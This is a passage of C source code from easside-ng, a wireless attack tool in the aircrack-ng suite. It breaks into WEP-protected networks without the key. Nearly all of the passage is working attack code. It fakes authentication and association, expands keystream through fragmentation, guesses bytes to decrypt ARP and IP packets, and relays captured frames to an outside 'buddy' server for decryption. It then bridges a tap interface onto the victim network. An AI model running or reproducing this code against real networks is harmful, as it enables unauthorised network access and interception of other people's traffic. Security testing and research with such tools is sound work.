(gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); elapsed = msec_diff(&now, last_sent); if (elapsed < (unsigned int) to) { msec_to_tv(to - elapsed, tv); return 1; } msec_to_tv(to, tv); return 0; } void send_auth(struct east_state *es, struct timeval *tv) { unsigned char buf[4096]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned short *sp; int len; if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; /* transaction number */ sp = (unsigned short*) (wh+1); sp++; *sp = htole16(1); len = sizeof(*wh) + 2 + 2 + 2; printf("Sending auth request\n"); send_frame(es, wh, len); } void send_assoc(struct east_state *es, struct timeval *tv) { unsigned char buf[4096]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned short *sp; int len; unsigned char *ptr; if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; sp = (unsigned short*) (wh+1); /* capability */ *sp++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY); *sp++ = htole16(100); /* listen interval */ /* ssid */ ptr = (unsigned char*) sp; *ptr++ = IEEE80211_ELEMID_SSID; len = strlen(es->es_apssid); *ptr++ = len; strncpy((char*)ptr, es->es_apssid, 32); ptr += len; /* rates */ *ptr++ = IEEE80211_ELEMID_RATES; *ptr++ = 8; *ptr++ = 2 | 0x80; *ptr++ = 4 | 0x80; *ptr++ = 11 | 0x80; *ptr++ = 22 | 0x80; *ptr++ = 12 | 0x80; *ptr++ = 24 | 0x80; *ptr++ = 48 | 0x80; *ptr++ = 72; /* x-rates */ *ptr++ = IEEE80211_ELEMID_XRATES; *ptr++ = 4; *ptr++ = 48; *ptr++ = 72; *ptr++ = 96; *ptr++ = 108; len = ptr - buf; printf("Sending assoc request\n"); send_frame(es, wh, len); } void put_crc32(void *data, int len) { unsigned int *ptr = (unsigned int*) ((char*)data+len); *ptr = get_crc32(data, len); } void expand_prga(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); unsigned short* sp = (unsigned short*) wh->i_seq; int dlen; int early; int totlen; /* start from beginning */ if (es->es_expand_num == -1) { es->es_txack = 0; es->es_expand_num = 0; es->es_txseq++; es->es_clearp = es->es_clear; } early = too_early(tv, es->es_txto_expand, &es->es_txlast); if (!es->es_txack && early) return; memset(buf, 0, sizeof(buf)); /* see if we got an ack to move onto next frag */ if (es->es_txack) { es->es_expand_num++; es->es_clearp = es->es_clearpnext; if (es->es_expand_num == es->es_expand_factor) { es->es_expand_num = 0; es->es_txseq++; es->es_clearp = es->es_clear; } es->es_txack = 0; } else wh->i_fc[1] |= IEEE80211_FC1_RETRY; if (es->es_expand_num == 0 && early) return; /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memset(wh->i_addr3, 0xff, 6); /* iv & crc */ memcpy(data, es->es_iv, 3); data += 4; dlen = es->es_prgalen - 4; /* see how much we sent */ totlen = dlen*es->es_expand_num; es->es_expand_len = totlen + dlen + 4; if ((int) sizeof(es->es_prga) < es->es_expand_len) { es->es_expand_len -= dlen; dlen = sizeof(es->es_prga) - totlen - 4; /* don't need as many frags; start over */ if (dlen <= 0) { es->es_expand_num = -1; es->es_expand_len = sizeof(es->es_prga); return; } es->es_expand_len += dlen; wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; } assert((es->es_clearp >= es->es_clear) && ((es->es_clearp + dlen) < &es->es_clear[sizeof(es->es_clear)])); memcpy(data, es->es_clearp, dlen); es->es_clearpnext = es->es_clearp + dlen; put_crc32(data, dlen); xor(data, data, es->es_prga, es->es_prgalen); /* send frag */ if ((es->es_expand_num+1) == es->es_expand_factor) wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; *sp = fnseq(es->es_expand_num, es->es_txseq); printf("Sending %d byte fragment %d:%d\r", dlen, es->es_txseq, es->es_expand_num); fflush(stdout); send_frame(es, wh, data - buf + dlen + 4); } void decrypt_packet(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; if (too_early(tv, es->es_txto_decrypt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, S_MCAST, 5); wh->i_addr3[5] = es->es_prga_d[es->es_prga_dlen]; /* iv & crc */ memcpy(data, es->es_prga_div, 3); data += 4; dlen = es->es_prga_dlen - 4 + 1; memcpy(data, es->es_clear, dlen); put_crc32(data, dlen); xor(data, data, es->es_prga_d, es->es_prga_dlen+1); printf_time("Guessing prga byte %d with %.2X\r", es->es_prga_dlen, es->es_prga_d[es->es_prga_dlen]); fflush(stdout); send_frame(es, wh, data - buf + dlen + 4); es->es_prga_d[es->es_prga_dlen]++; } void decrypt_arp(struct east_state *es, struct timeval *tv) { /* init */ if (es->es_astate != AS_DECRYPT_ARP) { unsigned char clear[1024]; unsigned char *prga = es->es_prga_d; unsigned char *ct; struct ieee80211_frame *wh = (struct ieee80211_frame*) es->es_packet_arp; int len; es->es_astate = AS_DECRYPT_ARP; ct = (unsigned char*) (wh+1); memcpy(es->es_prga_div, ct, 3); ct += 4; len = known_clear(clear, wh, 8 + sizeof(struct arphdr) + 10*2); xor(prga, clear, ct, len); prga += len; *prga = 0; es->es_prga_dlen = prga - es->es_prga_d; } decrypt_packet(es, tv); } void decrypt_ip(struct east_state *es, struct timeval *tv) { /* init */ if (es->es_astate != AS_DECRYPT_IP) { unsigned char clear[1024]; unsigned char *prga = es->es_prga_d; unsigned char *ct; struct ieee80211_frame *wh = (struct ieee80211_frame*) es->es_packet; int len; unsigned short totlen; es->es_astate = AS_DECRYPT_IP; ct = (unsigned char*) (wh+1); memcpy(es->es_prga_div, ct, 3); ct += 4; /* llc snap */ len = 8; memcpy(clear, S_LLC_SNAP_IP, len); xor(prga, clear, ct, len); prga += len; ct += len; /* ip hdr */ len = 2; memcpy(clear, "\x45\x00", len); xor(prga, clear, ct, len); prga += len; ct += len; /* tot len */ totlen = es->es_have_packet - sizeof(*wh) - 4 - 8 - 4; totlen = htons(totlen); len = 2; memcpy(clear, &totlen, len); xor(prga, clear, ct, len); prga += len; ct += len; *prga = 0; es->es_prga_dlen = prga - es->es_prga_d; } decrypt_packet(es, tv); } void find_ip(struct east_state *es, struct timeval *tv) { if (es->es_rtrip.s_addr && es->es_myip.s_addr) { set_tap_ip(es); es->es_astate = AS_FIND_RTR_MAC; return; } if (es->es_have_arp) decrypt_arp(es, tv); else if (es->es_have_packet) decrypt_ip(es, tv); } void send_whohas(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct arphdr *ah; unsigned char *datas; if (too_early(tv, es->es_txto_whohas, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memset(wh->i_addr3, 0xff, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_ARP, 8); data += 8; /* arp */ ah = (struct arphdr*) data; ah->ar_hrd = htons(ARPHRD_ETHER); ah->ar_pro = htons(ETHERTYPE_IP); ah->ar_hln = 6; ah->ar_pln = 4; ah->ar_op = htons(ARPOP_REQUEST); data = (unsigned char*) (ah+1); memcpy(data, es->es_mymac, 6); data += 6; memcpy(data, &es->es_myip, 4); data += 4; data += 6; memcpy(data, &es->es_rtrip, 4); data += 4; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf("Sending who has %s", inet_ntoa(es->es_rtrip)); printf(" tell %s\n", inet_ntoa(es->es_myip)); send_frame(es, wh, data - buf + 4); } void check_inet(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct ip *iph; unsigned char *datas; unsigned short *seq; struct udphdr *uh; if (too_early(tv, es->es_txto_checkinet, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, es->es_rtrmac, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_IP, 8); data += 8; /* ip */ iph = (struct ip*) data; iph->ip_hl = 5; iph->ip_v = 4; iph->ip_len = htons(sizeof(*iph)+sizeof(*uh)+S_HELLO_LEN); iph->ip_id = htons(666); iph->ip_ttl = 69; iph->ip_p = IPPROTO_UDP; iph->ip_src = es->es_myip; iph->ip_dst = es->es_srvip; iph->ip_sum = in_cksum((unsigned short*)iph, 20); /* udp */ uh = (struct udphdr*) (iph+1); uh->uh_sport = htons(53); uh->uh_dport = htons(es->es_udp_port); uh->uh_ulen = htons(sizeof(*uh)+S_HELLO_LEN); uh->uh_sum = 0; /* data */ data = (unsigned char*) (uh+1); strncpy((char*)data, "sorbo", 5); seq = (unsigned short*) (data+5); *seq = htons(++es->es_rpacket_id); data += S_HELLO_LEN; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf("Checking for internet... %d\n", es->es_rpacket_id); send_frame(es, wh, data - buf + 4); if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()"); } void redirect_sendip(struct east_state *es, struct rpacket *rp) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct ip *iph; unsigned char *datas; struct udphdr *uh; unsigned short *id; memset(buf, 0, sizeof(buf)); /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP | IEEE80211_FC1_MORE_FRAG; memcpy(wh->i_addr3, es->es_rtrmac, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_IP, 8); data += 8; /* ip */ iph = (struct ip*) data; iph->ip_hl = 5; iph->ip_v = 4; dlen = rp->rp_len - sizeof(*wh) - 4 - 4 + 2; iph->ip_len = htons(sizeof(*iph)+sizeof(*uh)+dlen); iph->ip_id = htons(666); iph->ip_ttl = 69; iph->ip_p = IPPROTO_UDP; iph->ip_src = es->es_myip; iph->ip_dst = es->es_srvip; iph->ip_sum = in_cksum((unsigned short*)iph, 20); /* udp */ uh = (struct udphdr*) (iph+1); uh->uh_sport = htons(53); uh->uh_dport = htons(es->es_udp_port); uh->uh_ulen = htons(sizeof(*uh)+dlen); uh->uh_sum = 0; /* packet id */ id = (unsigned short*) (uh+1); *id++ = htons(rp->rp_id); /* data */ data = (unsigned char*) id; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); #if 0 printf("Sending IP for %d %d:0\n", rp->rp_id, es->es_txseq); #endif send_frame(es, wh, data - buf + 4); } void redirect_sendfrag(struct east_state *es, struct rpacket *rp) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; unsigned short *sp = (unsigned short*) wh->i_seq; memset(buf, 0, sizeof(buf)); /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, es->es_rtrmac, 6); memset(wh->i_addr3, 0xff, 6); *sp = fnseq(1, es->es_txseq); dlen = rp->rp_len - sizeof(*wh); memcpy(data, ((struct ieee80211_frame*)rp->rp_packet) + 1, dlen); #if 0 printf("Sending frag for %d %d:1 [%d]\n", rp->rp_id, es->es_txseq, dlen - 8); #endif send_frame(es, wh, sizeof(*wh) + dlen); } void redirect(struct east_state *es, struct timeval *tv) { struct rpacket *rp = get_head(es); if (!rp) return; if (too_early(tv, es->es_txto_redirect, &es->es_txlast)) return; es->es_txseq++; printf("Redirecting packet id %d len %d [qlen %d]\n", rp->rp_id, rp->rp_len, queue_len(es)); /* rtt */ if (!es->es_rtt_id || (es->es_rtt_id = rp->rp_id)) { es->es_rtt_id = rp->rp_id; if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()"); } /* fire fragz */ redirect_sendip(es, rp); usleep(1*1000); redirect_sendfrag(es, rp); } void associated(struct east_state *es, struct timeval *tv) { switch (es->es_astate) { case AS_NOPRGA: break; case AS_PRGA_EXPAND: expand_prga(es, tv); break; case AS_FIND_IP: find_ip(es, tv); break; case AS_DECRYPT_ARP: decrypt_arp(es, tv); break; case AS_DECRYPT_IP: decrypt_ip(es, tv); break; case AS_FIND_RTR_MAC: send_whohas(es, tv); break; case AS_CHECK_INET: check_inet(es, tv); break; case AS_REDIRECT: redirect(es, tv); break; default: abort(); break; } } void buddy_inet_check(struct east_state *es) { struct { struct in_addr addr; unsigned short id; } __packed data; struct timeval now; int rtt; assert(sizeof(data) == 6); if (recv(es->es_buddys, &data, sizeof(data), 0) != sizeof(data)) err(1, "buddy_inet_check: recv()"); if (es->es_astate != AS_CHECK_INET) return; memcpy(&es->es_pubip, &data.addr, sizeof(es->es_pubip)); printf("Internet w0rx. Public IP %s\n", inet_ntoa(es->es_pubip)); data.id = ntohs(data.id); if (data.id != es->es_rpacket_id) { printf("seq doesn't match %d %d\n", data.id, es->es_rpacket_id); return; } if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); rtt = msec_diff(&now, &es->es_rtt); es->es_astate = AS_REDIRECT; printf("Rtt %dms\n", rtt); if (es->es_iponly) reset(es); } void buddy_packet(struct east_state *es) { unsigned char buf[2048]; unsigned short *p = (unsigned short*) buf; unsigned short id, len; struct rpacket *rp; struct ieee80211_frame *wh; unsigned char *ptr; int got = 0; int rc; if ((rc = recv(es->es_buddys, buf, 4, 0)) != 4) { if (rc == -1) err(1, "buddy_packet: recv() id & len"); printf("buddy_packet: recv id len got %d/%d\n", rc, 4); exit(1); } id = ntohs(*p); p++; len = ntohs(*p); p++; assert(len+6 <= (int) sizeof(buf)); ptr = &buf[6]; got = 0; while (got != len) { int rem = len - got; rc = recv(es->es_buddys, ptr, rem, 0); if (rc == -1) err(1, "buddy_packet: recv() packet"); got += rc; ptr += rc; } if (es->es_astate != AS_REDIRECT) return; printf_time("Got packet %d", id); if (es->es_rtt_id == id) { struct timeval now; int rtt; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); rtt = msec_diff(&now, &es->es_rtt); es->es_rtt_id = 0; printf(" rtt %dms", rtt); if (es->es_srtt == 0) es->es_srtt = rtt; else { es->es_srtt += rtt; es->es_srtt >>= 1; } if (es->es_srtt == 0) es->es_srtt = 1; es->es_txto_redirect = es->es_srtt << 1; if (es->es_txto_redirect < S_MIN_RTO) es->es_txto_redirect = S_MIN_RTO; printf(" srtt %dms rto %dms", es->es_srtt, es->es_txto_redirect); } rp = get_packet(es, id); if (!rp) { printf(" [not in queue]\n"); return; } wh = (struct ieee80211_frame*) rp->rp_packet; memcpy(buf, get_da(wh), 6); memcpy(&buf[6], get_sa(wh), 6); len += 6; if (ti_write(es->es_ti, buf, len) != len) err(1, "ti_write()"); remove_packet(es, id); printf(" qlen %d\n", queue_len(es)); clear_timeout(es); } void read_buddy(struct east_state *es) { unsigned short cmd; int rc; rc = recv(es->es_buddys, &cmd, sizeof(cmd), 0); if (rc != sizeof(cmd)) err(1, "read_buddy: can't get cmd\n"); cmd = ntohs(cmd); switch (cmd) { case S_CMD_INET_CHECK: buddy_inet_check(es); break; case S_CMD_PACKET: buddy_packet(es); break; default: abort(); break; } } void read_tap(struct east_state *es) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; unsigned char *datas; unsigned char dst[6]; struct timeval old; memset(buf, 0, sizeof(buf)); dlen = ti_read(es->es_ti, data-2, S_MTU+14); if (dlen == -1) err(1, "ti_read()"); memcpy(dst, data-2, 6); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, dst, 6); /* iv */ memcpy(data, es->es_iv, 3); data[3] = 0; data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP, 6); data += 8; dlen = dlen - 14 + 8; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf_time("Sending frame from tap %d\n", dlen); old = es->es_txlast; send_frame(es, wh, sizeof(*wh) + 4 + dlen + 4); es->es_txlast = old; } void own(struct east_state *es) { fd_set rfds; struct timeval tv, *tvp; int maxfd; if (es->es_prgalen) es->es_astate = AS_PRGA_EXPAND; if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP; for (;;) { FD_ZERO(&rfds); maxfd = wi_fd(es->es_wi); FD_SET(maxfd, &rfds); memset(&tv, 0, sizeof(tv)); tvp = NULL; if (es->es_buddys) { FD_SET(es->es_buddys, &rfds); if (es->es_buddys > maxfd) maxfd = es->es_buddys; } if (es->es_astate > AS_PRGA_EXPAND && es->es_state == S_ASSOCIATED) { int tapfd = ti_fd(es->es_ti); FD_SET(tapfd, &rfds); if (tapfd > maxfd) maxfd = tapfd; } switch (es->es_state) { case S_SEARCHING: if (!es->es_chanlock) chan_hop(es, &tv); break; case S_SENDAUTH: send_auth(es, &tv); break; case S_SENDASSOC: send_assoc(es, &tv); break; case S_ASSOCIATED: associated(es, &tv); break; default: abort(); break; } if (tv.tv_sec || tv.tv_usec) tvp = &tv; if (select(maxfd+1, &rfds, NULL, NULL, tvp) == -1) err(1, "select()"); if (FD_ISSET(wi_fd(es->es_wi), &rfds)) { read_wifi(es); } if (es->es_buddys && FD_ISSET(es->es_buddys, &rfds)) read_buddy(es); if (FD_ISSET(ti_fd(es->es_ti), &rfds)) read_tap(es); } } void usage(char *p) { if (p) {} printf("\n" " %s - (C) 2007,2008 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: easside-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -v : Victim BSSID\n" " -m : Source MAC address\n" " -i : Source IP address\n" " -r : Router IP address\n" " -s : Buddy-ng IP address (mandatory)\n" " -f : Interface to use (mandatory)\n" " -c : Lock card to this channel\n" " -n : Determine Internet IP only\n" "\n", getVersion("Easside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); } void load_prga(struct east_state *es) { int fd; int rc; fd = open(S_PRGA_LOG, O_RDONLY); if (fd == -1) return; rc = read(fd, es->es_iv, 3); if (rc != 3) { printf("Can't read IV from %s\n", S_PRGA_LOG); exit(1); } rc = read(fd, es->es_prga, sizeof(es->es_prga)); if (rc == -1) err(1, "load_prga: read()"); es->es_prgalen = rc; close(fd); printf("Loaded %d PRGA bytes from %s\n", es->es_prgalen, S_PRGA_LOG); } int main(int argc, char *argv[]) { int ch; struct east_state *es = &_es; init_defaults(es); while ((ch = getopt(argc, argv, "hv:m:i:r:s:f:nc:")) != -1) { switch (ch) { case 'c': es->es_chanlock = atoi(optarg); break; case 'f': strncpy(es->es_ifname, optarg, sizeof(es->es_ifname)-1); es->es_ifname[sizeof(es->es_ifname)-1] = 0; break; case 'v': if (str2mac(es->es_apmac, optarg) == -1) { printf("Can't parse AP mac\n"); exit(1); } break; case 'm': if (str2mac(es->es_mymac, optarg) == -1) { printf("Can't parse my mac\n"); exit(1); } es->es_setmac = 1; break; case 'i': if (!inet_aton(optarg, &es->es_myip)) { printf("Can't parse my ip\n"); exit(1); } break; case 'r': if (!inet_aton(optarg, &es->es_rtrip)) { printf("Can't parse rtr ip\n"); exit(1); } break; case 's': if (!inet_aton(optarg, &es->es_srvip)) { printf("Can't parse srv ip\n"); exit(1); } break; case 'n': es->es_iponly = 1; break; case 'h': default: usage(argv[0]); exit(0); } } if (es->es_srvip.s_addr == 0) { printf("Need at least server IP\n"); usage(argv[0]); exit(0); } load_prga(es); open_wifi(es); open_tap(es); set_mac(es); if (es->es_chanlock) set_chan(es); if (signal(SIGINT, sighand) == SIG_ERR) err(1, "signal(SIGINT)"); if (signal(SIGTERM, sighand) == SIG_ERR) err(1, "signal(SIGTERM)"); printf_time("Ownin...\n"); own(es); die("the end"); exit(0); }